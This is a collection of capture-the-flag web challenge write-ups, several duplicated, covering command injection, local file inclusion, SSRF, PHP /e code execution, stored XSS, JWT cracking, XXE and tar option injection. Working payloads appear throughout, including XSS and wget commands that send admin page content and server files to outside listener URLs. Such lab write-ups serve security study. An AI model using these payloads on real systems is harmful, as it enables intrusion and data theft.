Ping-Station

1. On the landing page only thing we have is the input field. If we check the attached file and analyze the code, we'll find about the vulnerability that the code has:

If we take a good look at the 19th line we'll understand that the website takes any input we give it and runs it as a command, if it first meets the IP requirements. If we understand the validations, we can't use space but we can use ; which is to end one command and to start another

2. To check if it's really possible to run commands, first we write the following: 8.8.8.8; whoami which gets executed and returns 'ecsc'

3. Next logical step to find the flag we are looking for is to list the directories using the ls command, which returns the names:

4. After using ls command, we can see the file named flag. To read the content of it we'll use well known command, which is cat that will return the flag we are looking for:

5. Found the flag:
ECSC{b1c0bc8e5e1b4c81199ad3c41bef8b69bea3ab86ecfb08c211d90ace0ff98df3}

FILE -CRAWLER

1) When we visit the website, theres nothing but a heading and the picture, so my first thought was maybe I should check the page source and I can find anything there

2) 2)when I opened page source I found that the src of the img was the following: <img src="local?image_name=static/path.jpg" align="middle">

3) After it I realized that it was a local endpoint with image_name parameter, which lead to me thinking this might have bee a vulnerability, after it I tried the path traversal to find the flag file which we knew was located in the temporary folder.

instead of starting with complex path traversal ../, I triedthe direct asolute path first: http://35.246.235.150:31919/local?image_name=/tmp/flag

which turned out to be the right approach, after visiting this url, the file starts to download

4) When we open that downloaded file, we can see the flag there, which is: CTF{0caec419d3ad1e1f052f06bae84d9106b77d166aae899c6dbe1355d10a4ba854}

FILE-CRAWLER MEORENAIRAD AMOXSNA

1. When accessing the website, the page appeared to contain only a heading and an image, with no obvious input fields or interactive elements. Since there was nothing useful visible, the next step was to inspect the raw HTML response using curl to understand how the page was constructed.

curl http://35.246.159.76:32232/

This command returned the HTML source of the page directly in the terminal.

2. From the HTML response, the following image tag was observed:

<img src="local?image_name=static/path.jpg" align="middle">

This revealed that the image was not served as a static file, but instead loaded through a local endpoint (/local) which accepted a user-controlled parameter called image_name.

This behavior suggested that the backend might be reading files from the local filesystem based on user input.

3. After identifying the /local endpoint and the image_name parameter, it was suspected that this functionality might be vulnerable to Local File Inclusion (LFI), since user input appeared to be directly used to load local files.

Before attempting to access the flag directly, a simple test was performed to confirm whether arbitrary local files could be read.

To do this, a common system file was requested using an absolute path:

curl "http://35.246.159.76:32232/local?image_name=/etc/passwd

The server responded with the contents of the /etc/passwd file, confirming that the application did not properly restrict access to local filesystem paths and was vulnerable to LFI.

4. The /etc/passwd output provided useful information about the server environment:

• The presence of the www-data user suggested the web application was running with standard web server privileges.

• A user named ctf with a home directory at /home/ctf/ indicated that this was a challenge environment.

• Since /etc/passwd was readable, it was reasonable to assume other non-restricted directories (such as /tmp) would also be accessible.

5. According to the challenge description, the flag was stored in the temporary directory. Based on the confirmed LFI vulnerability, the next logical step was to attempt to access files located in /tmp.

An initial request was made to reference the directory itself:

curl "http://35.246.159.76:32232/local?image_name=/tmp/"

While directory listing was not enabled, the request did not return an error, indicating that the backend attempted to resolve paths within /tmp.

6. With the vulnerability confirmed and the target directory identified, the flag file was requested directly using its absolute path: curl "http://35.246.159.76:32232/local?image_name=/tmp/flag"

The server responded with the contents of the file. : CTF{0caec419d3ad1e1f052f06bae84d9106b77d166aae899c6dbe1355d10a4ba854}

Alien-Inclusion

1. On the landing page, if we take a good look at the code provided and analyze the first section we'll understand few things:

2. First section tells us that if the parameter named 'start' in the url doesn't have any value, then the program just shows the source code and stops there.

3. Looking at the second section of the code, which only gets executed if the parameter 'start' has value(which can be any), we can see that any file that we provide with the post request gets put in include, and any code that it has will be executed.

4. To get the flag we are looking for, we need to send the flag.php file using post request, which probably assigns the value of ctf to the variable secret(which at the end of the code gets echoed). But before all this, we also need to set the value of the parameter start, so we can bypass the first check.

5. To do all this, we are going to use curl, specifically the following command: curl -XPOST "http://34.159.29.164:32729/?start=1" -d "start=flag.php"

6. After the command gets executed, we get the flag we were looking for: ctf{b513ef6d1a5735810bca608be42bda8ef28840ee458df4a3508d25e4b706134d}

Ultra-Crawl

1. When opening the main page, the only interaction available was a single text input for URLs.

Since the challenge revolves around finding and retrieving the flag, the most natural approach was to test whether the application improperly handles local paths.

If the URL field doesn't validate input properly, it may be possible to make the server fetch files from its own filesystem.

2. My first test was to check whether the application supports the file:/// protocol.

This scheme attempts to load files directly from the server’s local disk.

A classic starting point on Linux systems is /etc/passwd, because:

It is readable without special permissions

It exists on every Linux installation

It reveals what users exist on the machine

If this file can be accessed, that means any server file may be accessible too

So I submitted the following path: file:///etc/passwd

3. The server returned the contents of /etc/passwd, confirming local file access.

Reviewing the output, one of the entries listed a user named ctf, whose home directory is /home/ctf.

Since challenges typically store the flag under the account specifically created for CTF purposes, this strongly hinted that the target files were somewhere inside that directory.

4. To learn how the service actually runs, my next move was to look for startup scripts under /home/ctf.

CTF web challenges frequently include a launch script named something like start.sh.

Based on this assumption, I tried accessing: file:///home/ctf/start.sh

5. The output confirmed that the application runs a Python script named app.py.

This gave me the exact filename of the backend code responsible for handling requests, which is essential for understanding how to trigger the part that returns the flag.

6. Since I now knew the name of the application’s main program, I accessed it next.

I submitted: file:///home/ctf/app.py

7. The server responded with the full source code of the application.

8. Reading the code revealed the condition for retrieving the flag.

The important section was:

if request.headers['Host'] == "company.tld":

flag = open('sir-a-random-folder-for-the-flag/flag.txt').read()

return flag

This explained everything:

The flag is stored in sir-a-random-folder-for-the-flag/flag.txt

The server only returns the flag if the request’s Host header is set specifically to company.tld

So to obtain the flag, I simply needed to spoof the Host header

9. I used curl to send a request with a fake Host header matching the expected value

Command: curl -H "Host: company.tld" http://34.159.29.164:30386

10. By setting the header to the correct domain, the server executed the branch of the code that loads and returns the flag.

The response returned the flag: ctf{d8b7e522b0ab04101e78ab1c6ff68c4cb2f30ce9d4427d4cd77bc19238367933}

Substitute

1. I saw the page and source code, and realized it uses preg_replace() with user-controlled vector and replace. That means I can control the regex pattern and the replacement.

2. I knew preg_replace() has a dangerous /e modifier that evaluates the replacement as PHP code.

→ So if I add /e, I can execute PHP commands via the replacement string.

I tested if code execution works by replacing “Admin” with system('whoami').

→ URL:

http://34.40.105.109:32118/?vector=/Admin/e&replace=system('whoami')

It printed the current user, proving command execution works.

3. Next, I executed system('ls') to list files and confirm I can access the filesystem.

→ URL:

http://34.40.105.109:32118/?vector=/Admin/e&replace=system('ls')

It showed files and directories, confirming I can read the server filesystem.

4. I ran another ls inside the discovered directory to confirm where the flag is.

→ URL:

http://34.40.105.109:32118/?vector=/Admin/e&replace=system('ls here_we_dont_have_flag')

It confirmed the directory exists and contains flag.txt

5. Now that I knew the flag path, I used cat to read it.

→ URL:

http://34.40.105.109:32118/?vector=/Admin/e&replace=system('cat here_we_dont_have_flag/flag.txt')

It printed the flag:
CTF{92b435bcd2f70aa18c38cee7749583d0adf178b2507222cf1c49ec95bd39054c}

6. Why this works (quick explanation)

/e modifier tells preg_replace() to evaluate the replacement string as PHP code.

system() runs shell commands and returns output.

By controlling both vector and replace, I can execute commands on the server.

SUBSTITUTE MEORE AMOXSNIT

1. When I looked at the code presented on the page I realized I can control both the regex pattern and the replacement.

Then I remembered preg_replace() has a dangerous /e modifier that evaluates the replacement as PHP code. That means if I use /e, I can execute PHP code through the replacement string.

2. So I needed a way to send vector and replace without manually typing the URL, and I decided to use Python requests to automate it. That’s where I came up with this code:

I used /Admin/e because “Admin” is the text in the $input string, and /e forces the replacement to execute as PHP.

3. I replaced “Admin” with system('whoami') to check if command execution works.

Result: It printed www-data, proving command execution works.

4. I executed system('ls') to list files.

Result: It showed:

here_we_dont_have_flag

index.php

5. I checked inside the directory to find the flag

I ran ls inside the directory:

Result: It confirmed the directory exists and contains flag.txt.

6. I read the flag

I used cat to read it:

Result: It printed:

CTF{92b435bcd2f70aa18c38cee7749583d0adf178b2507222cf1c49ec95bd39054c}

Manual Review

1. I opened the given URL and it went automatically to the login page: http://35.246.159.76:31917/login

I didn’t have an account, so I registered at:

http://35.246.159.76:31917/register

Then I logged in and got redirected to the dashboard.

2. I inspected the dashboard

On the dashboard page, I saw a form:

<form method="POST" action="/ticket-submit">

<textarea name="content"></textarea>

<button type="submit">Submit</button>

</form>

What this told me

This is a ticket system where users can submit messages to admins.

I immediately thought:

If this message is stored and later viewed by an admin, it could be a stored XSS vulnerability.

Because any time a website stores user input and later renders it without proper sanitization, stored XSS is possible.

3. Why I suspected XSS

The challenge description said:

“The web application contains a vulnerability which allows an attacker to leak sensitive information.”

That sounded like XSS, because XSS is one of the most common ways to leak sensitive data (cookies, tokens, flags, etc.) from the admin’s browser.

Also, the message box is a textarea, meaning it’s meant to store user content.

So I thought:

If the admin views my message, and the message contains JS, the JS might execute in the admin’s browser.

That’s exactly what stored XSS is.

4. The goal

The flag format is:

ctf{sha256}

So I needed to make the admin’s browser send the flag to me.

That means I needed:

A way to receive incoming requests

A way to force the admin’s browser to send the flag to that server

5. I created a Pipedream endpoint:

https://eo4qgqn7zan51a1.m.pipedream.net

This is my “listener” where I can see any requests made to that URL.

Why this matters:

Stored XSS lets me run JS in the admin’s browser

If I can redirect the admin to my URL, their browser will make a request and I can capture headers

6. I injected this into the ticket form:

<script>

window.location.href="https://eo4qgqn7zan51a1.m.pipedream.net/hello";

</script>

Why this payload?

Because it’s the simplest way to force the admin’s browser to contact my server.

If the admin opens the ticket, their browser will automatically redirect to my Pipedream URL.

That means:

I will receive a request from the admin’s browser

The request will contain headers

The flag might be inside the headers (like User-Agent)

7. The admin visits the ticket

The admin sees my ticket message and their browser executes my script.

Their browser sends a GET request to:

https://https://eo4qgqn7zan51a1.m.pipedream.net/hello

8. I received the flag

In Pipedream, I saw:

user-agent:
ctf{4852d6993069867fb5c28b8b688adb6e2b3a9230bfef807ff6ac01b4f216df7f}

That’s the flag.

Why the flag was in the user-agent

Because the server used the flag as the User-Agent value for admin requests.

So when the admin’s browser redirected to my URL, the User-Agent header contained the flag.

UNDER CONSTRUCTION

1. I registered an account with username “simulation2”, email “simulation2 @gmail.com”, and password “simulation123”. This was the logical first step to access the application's authenticated features and see what pages were available to regular users.

2. After logging in, I noticed that on navbar extra two elements showed up: "User", and my username. The User page showed the following text: Unfortunately, there is nothing here yet as well. We are going to develop this page after we are done with the admin one. And the profile page showed information about our user including “role: USER”. I needed to find if admin features existed.

3. I opened Developer Tools (F12) and checked Local Storage. I found the key to user with the value of my user role and the JWT token containing my authentication data

4. I examined the browser's source code files looking for references to admin roles. I found “ROLE_ADMIN” mentioned in the JavaScript files, which gave me the exact role name the application uses for administrators.

5. I modified the role from “USE” to “ROLE_ADMIN” directly in Local Storage and refreshed the page. The Admin Board appeared in the navigation. However, when I clicked it, I got "require admin role" - proving the server validates the token signature.

6. I used jwt_tool to decode and understand the token structure:

7. The output showed the token using HS256 algorithm and contained “id: 28” with no role field.

8. Since signature validation was working, I needed the secret key to create valid tokens. I used a dictionary attack:

9. The tool found the secret: “letmein”

10. I used jwt_tool to modify my user ID to 1 (assuming admin has the first ID) and signed it with the discovered secret:

11. I copied the new JWT token and replaced the old one with the new in Local Storage. After refreshing the page, I accessed the Admin Board successfully and retrieved the flag

12. The vulnerability was using a weak secret key (“letmein”) for JWT signing, allowing me to crack it and forge valid admin tokens. Flag: CTF{b566bdee4836bbb0bdfb9aff931d7f061b67db0e9cf3859f246261d0acc35438}

UNDER CONSTRUCTION MEORE AMOXSNA

1. I registered an account with username “simulation2”, email “simulation2@gmail.com”, and password “simulation123”. This was the logical first step to access the application's authenticated features and see what pages were available to regular users.

2. After logging in, I noticed that on navbar extra two elements showed up: "User", and my username. The User page showed the following text: Unfortunately, there is nothing here yet as well. We are going to develop this page after we are done with the admin one. And the profile page showed information about our user including “role: USER”. I needed to find if admin features existed.

3. I opened Developer Tools (F12) and checked Local Storage. I found the key to user with the value of my user role and the JWT token containing my authentication data

4. I examined the browser's source code files looking for references to admin roles. I found “ROLE_ADMIN” mentioned in the JavaScript files, which gave me the exact role name the application uses for administrators.

5. I modified the role from “USE” to “ROLE_ADMIN” directly in Local Storage and refreshed the page. The Admin Board appeared in the navigation. However, when I clicked it, I got "require admin role" - proving the server validates the token signature.

6. The server was correctly validating the JWT signature, so simply changing the role in local storage wasn’t enough. I needed to generate a new JWT that the server would accept.

To do that, I had to discover the secret key used to sign the tokens.

7. I copied my current JWT token from Local Storage and saved it into a file named hash.txt.

8. I downloaded the rockyou.txt wordlist to use for a dictionary attack against the JWT signature.

9. I ran the hash cracking tool

I executed the following command:

hashcat hash.txt rockyou.txt

This command attempted to brute-force the JWT secret key using the wordlist. It tried each word from rockyou.txt until it found the correct secret that produced a valid signature.

The hash cracking process succeeded and revealed the secret key used to sign the JWT tokens.

10. After discovering the secret key, I opened JWT.io (https://jwt.io/) and pasted my current JWT token into the debugger.

In the Payload section, I modified the "id" field to 1, assuming the admin account uses the first ID

Then I entered the discovered secret key into the “Verify Signature” section. JWT.io automatically recalculated and signed the token using the provided secret key.

Once the signature turned valid, JWT.io generated a new token with the updated payload and valid signature.

11. I replaced the old token and accessed the admin board

I copied the newly generated JWT token from JWT.io and replaced the old token in Local Storage.

After refreshing the page, the flag appeared on the admin board

and I got the flag:
CTF{b566bdee4836bbb0bdfb9aff931d7f061b67db0e9cf3859f246261d0acc35438}

DOWNLOADER

1. I started by testing the application normally to see how it works. I entered “http://example.com/image.jp” because I needed to understand what the application actually does before trying to break it.

2. The output showed me the following:

$ cd uploads/691c851abcaff1bf807cf710301e5 $ wget http://example.com/image.jpg 2>&1 --2025-11-18 14:39:22-- http://example.com/image.jpg Resolving example.com (example.com)... 23.192.228.80, 23.192.228.84, 23.215.0.136, ... Connecting to example.com (example.com)|23.192.228.80|:80... connected. HTTP request sent, awaiting response... 404 Not Found 2025-11-18 14:39:23 ERROR 404: Not Found. $ bash -c 'rm uploads/691c851abcaff1bf807cf710301e5/*.{php,pht,phtml,php4,php5,php6,php7}’

3. This revealed the following things: The application uses the “wget” command directly with my input, It creates temporary upload folders for each download, It only deletes PHP files AFTER the download finishes, I can see the exact command being executed

4. This gave me the idea that maybe I could use wget's own command-line flags since the application wasn't filtering them.

5. I realized that if I could make the server send me files, I needed somewhere to receive them. I went to “pipedream.com/requestbin” and created a new request bin. I got my unique URL: “https://eofs9mapa8lymnf.m.pipedream.net”

6. Then I constructed the payload: “https://eofs9mapa8lymnf.m.pipedream.net/test.jpg --post-file=flag.php -v”

why I used each part:

a. “https:// https://eofs9mapa8lymnf.m.pipedream.net/test.jpg” - This looks like a normal download URL to the application

b. “--post-file=flag.php” - This is a wget flag that tells it to POST the contents of a local file instead of downloading from the URL

c. “-v” - This is the verbose flag that was necessary to make wget actually transmit the file data

7. I submitted the payload and the server executed: ” wget https:// https://eofs9mapa8lymnf.m.pipedream.net/test.jpg --post-file=flag.php -v 2>&1”

The “--post-file” flag made wget ignore the URL and instead send the contents of the local “flag.php” file to my RequestBin address.

8. I immediately refreshed my RequestBin page and found a new POST request. In the request body was the contents of the server's flag.php file:

DCTF{6789af26f90396678909a99bf46ba3a78b2f1b349fbc4385e6c50556c1d0c9ff}

Frameble

1. I first explored the application normally to understand the functionality. I went to: http://34.185.222.215:31385/index.php?page=login There I saw a normal Login page, with a link to Register.

2. I registered a normal user and logged in to see what features I get. On the Register page I created an account, then logged in with it.

3. After logging in, I was redirected to the Dashboard, which had navigation links like: Dashboard, Posts

4. I went to the posts list to see how posts are handled in the application. On this page I saw a table titled “Your posts”, a “New post” link at the top, and a list of posts. The challenge description mentioned “Just another OWASP Top 10 vulnerability” and the app had a posts system, so I suspected the bug was going to be related to something like stored XSS in posts that an admin later reviews

5. On the posts page I clicked the “New post” link, which opened: http://34.185.222.215:31385/index.php?page=newpost this page showed a form titled “New post” with two input fields:

Title

Description

At this point, before submitting anything there was just the blank form asking for Title and Description.

6. Before testing anything, I set up RequestBin to safely capture any external requests.

Since the challenge description said “Just another OWASP Top 10 vulnerability”, I immediately thought about stored XSS because:

OWASP Top 10 includes XSS,

The site has a post submission + admin review system,

Admin review usually means a bot will load my content in a browser.

To verify whether any JavaScript would run, I needed a place where I could see if the admin’s browser contacts an external server.

So, I went to pipedream.com/requestbin and created a unique webhook URL: https://eoxlud2i59axm1i.m.pipedream.net

7. I made ONE simple XSS test to confirm that scripts run when posts are reviewed.

Before doing anything advanced, I submitted a post where the title and description were:

<script src="https://eoxlud2i59axm1i.m.pipedream.net"></script>

8. A few seconds later, my RequestBin showed a GET request from:

HeadlessChrome

IP 34.185.222.215

Referer pointing to /index.php?page=post&id=...

This single test confirmed everything I needed:

User input is not sanitized

Script tags execute

An admin bot opens my post in a real browser

My JavaScript runs in the admin’s session

This means I can now run any JavaScript on the admin’s page and steal the flag.

9. I created the final payload to exfiltrate the entire HTML page the admin sees.

Since the admin is logged in, the flag appears somewhere in the HTML of pages only they can access.

So my goal was simple:

Make the admin’s browser send me document.body.innerHTML.

I created a new post where the Description contained:
<script>fetch('https://eoxlud2i59axm1i.m.pipedream.net', {method:'POST', body:document.body.innerHTML, mode:'no-cors'});</script>

9. The admin bot opened the post and sent me the flag in the RequestBin.

A moment later, my RequestBin showed a POST request.

Inside the body of that request was the full HTML of the admin’s “post review” page including the flag:
CTF{20c96587af01d6a1a03708883259343b7bd0fd85d74eb65c1e3dbc669e0d09ca}

Syntax-Check

1. This challenge gave us a web page with a single input and a “Parse” button. The description told us the flag was stored on the server at /var/www/html/flag. We had no shell access, no uploads, and no authentication bypass. The only thing we could interact with was the /parse endpoint, so the entire goal was to make that endpoint read files for us.

2. We started by clicking the Parse button in the browser without entering anything.

The page responded with “Empty string supplied as input”.

This immediately told us the backend is expecting some data in the request body, not just a normal page visit.

3. Next, we wanted to see how the backend reacts to raw input, so we sent a request manually using curl:

curl -X GET “http://34.40.105.109:30164/parse” --data "test"

4. The response contained the error “That XML string is not well-formed”.

This is the key moment. That error message does not come from normal string handling — it comes from an XML parser.

So now we know: whatever we send in the request body is treated as XML.

At this point, the attack surface is clear.

User-controlled input + XML parser + no validation = very likely XXE (XML External Entity).

5. Knowing this, we tested whether the parser allows custom entities. XML allows defining entities using <!DOCTYPE>. If external entities are enabled, we can make the parser read files from the server.

The challenge description told us the flag is located at:

/var/www/html/flag

So our goal became simple: trick the XML parser into reading that file and printing it in the response.

We crafted an XML payload that defines an external entity pointing to that file, but instead of reading it directly, we used a PHP stream wrapper:

php://filter/read=convert.iconv.utf-16le.utf-8/resource=/var/www/html/flag

This does two things:

1. Reads the flag file

2. Passes it through a character conversion filter to disguise the output

We then sent this XML as the request body:

curl -X GET "http://34.40.105.109:30164/parse" --data "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM \"php://filter/read=convert.iconv.utf-16le.utf-8/resource=/var/www/html/flag\">]><foo>&test;</foo>"

6. The server responded with a string of weird Unicode characters instead of readable text.

This told us the file was successfully read, but its bytes were intentionally mangled by the UTF-16LE → UTF-8 conversion.

This was expected. The filter forces the server to misinterpret ASCII bytes as UTF-16LE, producing unreadable characters that bypass basic output filters.

Now that we had the transformed output, the last step was reversing the transformation.

We took the weird Unicode string and ran it through CyberChef, encoding it from UTF-8 to UTF-16LE.

This reverses what the server did and reconstructs the original ASCII bytes.

7. After the conversion, the output became a clean, readable flag: ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}

Tartar Sausage

1. The page HTML contained a normal file upload form, but also a second hidden form:

<form action="sadjwjaskdkwkasjdkwasdasdas.html" method="POST">

<input type="hidden" name="url" value="">

<input type="hidden" value="submit">

</form>

From this I understood:

The visible upload form was likely a decoy.

The hidden form pointed to a second page:

sadjwjaskdkwkasjdkwasdasdas.html

The description contains the word “tar”, which strongly suggests the vulnerability is related to the Unix tar command.

The word “sausage” likely hints at a hidden directory or file.

So the next step was to visit the hidden page.

2. I opened: http://34.89.147.244:31027/sadjwjaskdkwkasjdkwasdasdas.html

The page contained:

A message saying “Enter tar”

A message saying “Try luck with shell commands you won’t succeed ;)”

A form:

<form action="asdsasdsadsadwfdasdwasdfrasdedfads.php" method="POST">

<input type="text" name="url" value="">

<input type="submit" value="submit">

</form>

From this I concluded:

There is a PHP script: asdsasdsadsadwfdasdwasdfrasdedfads.php

It accepts a POST parameter named url

The page text suggests it calls tar with the url parameter

This means the backend likely does something like:

system("tar " . escapeshellcmd($_POST['url']));

So the vulnerability is a tar command injection.

3. escapeshellcmd blocks dangerous shell separators like ;, &&, etc., but it does not block valid tar options.

So if the server runs:

tar <user_input>

We can still pass tar flags.

Tar has a feature:

--checkpoint-action=exec="command"

which executes a shell command during extraction.

So the goal became:

use tar’s own options to run commands, not shell injection.

4. I used curl to send a POST request to the vulnerable PHP script: curl -s -X POST "http://34.89.147.244:31027/asdsasdsadsadwfdasdwasdfrasdedfads.php" --data 'url=-cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="ls -lah" '

Explanation of the url parameter:

-cf /dev/null /dev/null

→ A valid tar command (creates an archive /dev/null from /dev/null)

--checkpoint=1

→ After processing 1 file, run the checkpoint action

--checkpoint-action=exec="ls -lah"

→ Execute ls -lah as the checkpoint action

So the server executes:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="ls -lah"

This runs ls -lah on the server while still being a single valid tar command.

5. The ls -lah output showed:

• index.php

• the vulnerable script

• the hidden HTML page

• and one weird directory:

enhjenhzZGN3YWRzYWRhc2Rhc3NhY2FzY2FzY2FzY2FjYWNzZHNhY2FzY2Fzc2FjY2Fz

Because the challenge hints “find the sausage”, this directory is the “sausage”.

6. Now that I knew the directory name, I requested the flag file inside it: curl "http://34.89.147.244:31027/enhjenhzZGN3YWRzYWRhc2Rhc3NhY2FzY2FzY2FzY2FjYWNzZHNhY2FzY2Fzc2FjY2Fz/flag"

This returned:
ctf{e15918e70b7c3395bcb357b4ca5e95f868ebc462d33371a5f44a25c35f8faa45}